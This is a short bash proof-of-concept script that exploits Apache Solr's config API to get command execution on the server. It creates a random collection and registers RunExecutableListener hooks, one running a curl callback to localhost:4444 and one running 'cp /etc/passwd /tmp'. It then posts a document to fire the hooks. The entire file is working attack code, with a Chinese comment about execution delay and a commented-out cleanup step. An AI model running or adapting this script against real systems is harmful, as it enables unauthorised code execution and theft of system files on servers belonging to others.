#!/bin/bash
# 命令执行有点延迟

set -x

colname=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)

curl "127.0.0.1/solr/admin/collections?action=CREATE&name=${colname}&numShards=1"
curl "127.0.0.1/solr/${colname}/config" -H 'Content-Type: application/json' --data '{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener",
    "class":"solr.RunExecutableListener",
    "exe":"curl",
    "dir":"/usr/bin/",
    "args":["http://localhost:4444/executed"]
  }
}'

curl "127.0.0.1/solr/${colname}/config" -H 'Content-Type: application/json' --data '{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener2",
    "class":"solr.RunExecutableListener",
    "exe":"bash",
    "dir":"/bin/",
    "args":["-c","cp /etc/passwd /tmp"]
  }
}'

curl "127.0.0.1/solr/${colname}/update" -H 'Content-Type: application/json' --data '[{"id":"test"}]' 

# curl '127.0.0.1/solr/VulnCollection/config' -H 'Content-Type: application/json' --data '{
# 	"remove-listener": {
# 		"name": "hack"
# 	}
# }'

